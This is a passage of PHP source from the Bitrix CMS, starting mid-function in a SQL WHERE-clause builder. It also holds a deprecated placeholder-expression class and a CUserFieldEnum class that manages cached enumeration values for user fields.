				$result[] = "(".$FIELD_NAME." IS NULL)";
			else
				$result[] = $FIELD_NAME." = ".$FIELD_VALUE;
			break;
		case "NI":
		case "N":
		case "NS":
		case "NM":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." not in (".implode(", ", $FIELD_VALUE).")";
			elseif (strlen($value) <= 0)
				$result[] = "(".$FIELD_NAME." IS NOT NULL)";
			else
				$result[] = $FIELD_NAME." <> ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "G":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." > ".$FIELD_VALUE[0];
			else
				$result[] = $FIELD_NAME." > ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "L":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." < ".$FIELD_VALUE[0];
			else
				$result[] = $FIELD_NAME." < ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "GE":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." >= ".$FIELD_VALUE[0];
			else
				$result[] = $FIELD_NAME." >= ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "LE":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." <= ".$FIELD_VALUE[0];
			else
				$result[] = $FIELD_NAME." <= ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "B":
			if (is_array($FIELD_VALUE) && count($FIELD_VALUE) > 1)
				$result[] = $FIELD_NAME." between ".$FIELD_VALUE[0]." AND ".$FIELD_VALUE[1];

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "NB":
			if (is_array($FIELD_VALUE) && count($FIELD_VALUE) > 1)
				$result[] = $FIELD_NAME." not between ".$FIELD_VALUE[0]." AND ".$FIELD_VALUE[1];

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "IN":
			$result[] = $FIELD_NAME." IN (".$FIELD_VALUE->compile().")";
			break;
		}
	}
}

/**
 * Class CSQLWhereExpression
 * @deprecated  use \Bitrix\Main\DB\SqlExpression instead
 * @see \Bitrix\Main\DB\SqlExpression
 */
class CSQLWhereExpression
{
	protected
		$expression,
		$args;

	protected
		$i;

	protected
		$DB;

	public function __construct($expression, $args = null)
	{
		$this->expression = $expression;

		if (!is_null($args))
		{
			$this->args =  is_array($args) ? $args : array($args);
		}

		global $DB;
		$this->DB = $DB;
	}

	public function compile()
	{
		$this->i = -1;

		// string (default), integer (i), float (f), numeric (n), date (d), time (t)
		$value = preg_replace_callback('/(?:[^\\\\]|^)(\?[#sif]?)/', array($this, 'execPlaceholders'), $this->expression);
		$value = str_replace('\?', '?', $value);

		return $value;
	}

	protected function execPlaceholders($matches)
	{
		$this->i++;

		$id = $matches[1];

		if (isset($this->args[$this->i]))
		{
			$value = $this->args[$this->i];

			if ($id == '?' || $id == '?s')
			{
				return "'" . $this->DB->ForSql($value) . "'";
			}
			elseif ($id == '?#')
			{
				$connection = \Bitrix\Main\Application::getConnection();
				$helper = $connection->getSqlHelper();

				return $helper->quote($value);
			}
			elseif ($id == '?i')
			{
				return (int) $value;
			}
			elseif ($id == '?f')
			{
				return (float) $value;
			}
		}

		return $id;
	}
}

/*
		array("LOGIC"=>"AND",
			"="."K1" => value,
			"="."K2" => value,
			array("LOGIC"=>"OR",
				"="."K3" => value,
				"="."K3" => value,
			),
			array("LOGIC"=>"OR",
				"="."K4" => value,
				"="."K4" => value,
			),
		)
		K1=value and K2=value and (k3=value or k3=value) and (k4=value or k4=value)
*/

class CUserFieldEnum
{
	function SetEnumValues($FIELD_ID, $values)
	{
		global $DB, $CACHE_MANAGER, $APPLICATION;
		$aMsg = array();
		$originalValues = $values;

		foreach($values as $i=>$row)
		{
			foreach($row as $key=>$val)
			{
				if(strncmp($key, "~", 1)===0)
				{
					unset($values[$i][$key]);
				}
			}
		}

		/*check unique XML_ID*/
		$arAdded = array();
		foreach($values as $key=>$value)
		{
			if(strncmp($key, "n", 1)===0 && $value["DEL"]!="Y" && strlen($value["VALUE"])>0)
			{
				if(strlen($value["XML_ID"])<=0)
					$value["XML_ID"] = md5($value["VALUE"]);

				if(array_key_exists($value["XML_ID"], $arAdded))
				{
					$aMsg[] = array("text"=>GetMessage("USER_TYPE_XML_ID_UNIQ", array("#XML_ID#"=>$value["XML_ID"])));
				}
				else
				{
					$rsEnum = $this->GetList(array(), array("USER_FIELD_ID"=>$FIELD_ID, "XML_ID"=>$value["XML_ID"]));
					if($arEnum = $rsEnum->Fetch())
					{
						$aMsg[] = array("text"=>GetMessage("USER_TYPE_XML_ID_UNIQ", array("#XML_ID#"=>$value["XML_ID"])));
					}
					else
					{
						$arAdded[$value["XML_ID"]]++;
					}
				}
			}
		}

		$rsEnum = $this->GetList(array(), array("USER_FIELD_ID"=>$FIELD_ID));
		while($arEnum = $rsEnum->Fetch())
		{
			if(array_key_exists($arEnum["ID"], $values))
			{
				$value = $values[$arEnum["ID"]];
				if(strlen($value["VALUE"])<=0 || $value["DEL"]=="Y")
				{
				}
				elseif(
					$arEnum["VALUE"] != $value["VALUE"] ||
					$arEnum["DEF"] != $value["DEF"] ||
					$arEnum["SORT"] != $value["SORT"] ||
					$arEnum["XML_ID"] != $value["XML_ID"]
				)
				{
					if(strlen($value["XML_ID"])<=0)
						$value["XML_ID"] = md5($value["VALUE"]);

					$bUnique = true;
					if($arEnum["XML_ID"] != $value["XML_ID"])
					{
						if(array_key_exists($value["XML_ID"], $arAdded))
						{
							$aMsg[] = array("text"=>GetMessage("USER_TYPE_XML_ID_UNIQ", array("#XML_ID#"=>$value["XML_ID"])));
							$bUnique = false;
						}
						else
						{
							$rsEnumXmlId = $this->GetList(array(), array("USER_FIELD_ID"=>$FIELD_ID, "XML_ID"=>$value["XML_ID"]));
							if($arEnumXmlId = $rsEnumXmlId->Fetch())
							{
								$aMsg[] = array("text"=>GetMessage("USER_TYPE_XML_ID_UNIQ", array("#XML_ID#"=>$value["XML_ID"])));
								$bUnique = false;
							}
						}
					}
					if($bUnique)
					{
						$arAdded[$value["XML_ID"]]++;
					}
				}
			}
		}

		if(!empty($aMsg))
		{
			$e = new CAdminException($aMsg);
			$APPLICATION->ThrowException($e);
			return false;
		}

		if(CACHED_b_user_field_enum!==false)
			$CACHE_MANAGER->CleanDir("b_user_field_enum");

		foreach($values as $key=>$value)
		{
			if(strncmp($key, "n", 1)===0 && $value["DEL"]!="Y" && strlen($value["VALUE"])>0)
			{
				if(strlen($value["XML_ID"])<=0)
					$value["XML_ID"] = md5($value["VALUE"]);

				if($value["DEF"]!="Y")
					$value["DEF"]="N";

				$value["USER_FIELD_ID"] = $FIELD_ID;
				$id = $DB->Add("b_user_field_enum", $value);

				$originalValues[$id] = $originalValues[$key];
				unset($originalValues[$key], $values[$key]);
			}
		}
		$rsEnum = $this->GetList(array(), array("USER_FIELD_ID"=>$FIELD_ID));
		while($arEnum = $rsEnum->Fetch())
		{
			if(array_key_exists($arEnum["ID"], $values))
			{
				$value = $values[$arEnum["ID"]];
				if(strlen($value["VALUE"])<=0 || $value["DEL"]=="Y")
				{
					$DB->Query("DELETE FROM b_user_field_enum WHERE ID = ".$arEnum["ID"], false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
				}
				elseif($arEnum["VALUE"] != $value["VALUE"] ||
					$arEnum["DEF"] != $value["DEF"] ||
					$arEnum["SORT"] != $value["SORT"] ||
					$arEnum["XML_ID"] != $value["XML_ID"])
				{
					if(strlen($value["XML_ID"])<=0)
						$value["XML_ID"] = md5($value["VALUE"]);

					unset($value["ID"]);
					$strUpdate = $DB->PrepareUpdate("b_user_field_enum", $value);
					if(strlen($strUpdate)>0)
						$DB->Query("UPDATE b_user_field_enum SET ".$strUpdate." WHERE ID = ".$arEnum["ID"], false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
				}
			}
		}
		if(CACHED_b_user_field_enum!==false)
			$CACHE_MANAGER->CleanDir("b_user_field_enum");

		$event = new \Bitrix\Main\Event('main', 'onAfterSetEnumValues', [$FIELD_ID, $originalValues]);
		$event->send();

		return true;
	}

	function GetList($aSort=array(), $aFilter=array())
	{
		global $DB, $CACHE_MANAGER;

		if(CACHED_b_user_field_enum !== false)
		{
			$cacheId = "b_user_field_enum".md5(serialize($aSort).".".serialize($aFilter));
			if($CACHE_MANAGER->Read(CACHED_b_user_field_enum, $cacheId, "b_user_field_enum"))
			{
				$arResult = $CACHE_MANAGER->Get($cacheId);
				$res = new CDBResult;
				$res->InitFromArray($arResult);
				return $res;
			}
		}
		else
		{
			$cacheId = '';
		}

		$bJoinUFTable = false;
		$arFilter = array();
		foreach($aFilter as $key=>$val)
		{
			if(is_array($val))
			{
				if(count($val) <= 0)
					continue;
				$val = array_map(array($DB, "ForSQL"), $val);
				$val = "('".implode("', '", $val)."')";
			}
			else
			{
				if(strlen($val) <= 0)
					continue;
				$val = "('".$DB->ForSql($val)."')";
			}

			$key = strtoupper($key);
			switch($key)
			{
			case "ID":
			case "USER_FIELD_ID":
			case "VALUE":
			case "DEF":
			case "SORT":
			case "XML_ID":
				$arFilter[] = "UFE.".$key." in ".$val;
				break;
			case "USER_FIELD_NAME":
				$bJoinUFTable = true;
				$arFilter[] = "UF.FIELD_NAME in ".$val;
				break;
			}
		}

		$arOrder = array();
		foreach($aSort as $key=>$val)
		{
			$key = strtoupper($key);
			$ord = (strtoupper($val) <> "ASC"? "DESC": "ASC");
			switch($key)
			{
				case "ID":
				case "USER_FIELD_ID":
				case "VALUE":
				case "DEF":
				case "SORT":
				case "XML_ID":
					$arOrder[] = "UFE.".$key." ".$ord;
					break;
			}
		}
		if(count($arOrder) == 0)
		{
			$arOrder[] = "UFE.SORT asc";
			$arOrder[] = "UFE.ID asc";
		}
		DelDuplicateSort($arOrder);
		$sOrder = "\nORDER BY ".implode(", ", $arOrder);

		if(count($arFilter) == 0)
			$sFilter = "";
		else
			$sFilter = "\nWHERE ".implode("\nAND ", $arFilter);

		$strSql = "
			SELECT
				UFE.ID
				,UFE.USER_FIELD_ID
				,UFE.VALUE
				,UFE.DEF
				,UFE.SORT
				,UFE.XML_ID
			FROM
				b_user_field_enum UFE
				".($bJoinUFTable? "INNER JOIN b_user_field UF ON UF.ID = UFE.USER_FIELD_ID": "")."
			".$sFilter.$sOrder;

		if($cacheId == '')
		{
			$res = $DB->Query($strSql, false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);
		}
		else
		{
			$arResult = array();
			$res = $DB->Query($strSql, false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);
			while($ar = $res->Fetch())
				$arResult[]=$ar;

			$CACHE_MANAGER->Set($cacheId, $arResult);

			$res = new CDBResult;
			$res->InitFromArray($arResult);
		}

		return  $res;
	}

	function DeleteFieldEnum($FIELD_ID)
	{
		global $DB, $CACHE_MANAGER;
		$DB->Query("DELETE FROM b_user_field_enum WHERE USER_FIELD_ID = ".intval($FIELD_ID), false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
		if(CACHED_b_user_field_enum!==false) $CACHE_MANAGER->CleanDir("b_user_field_enum");
	}
}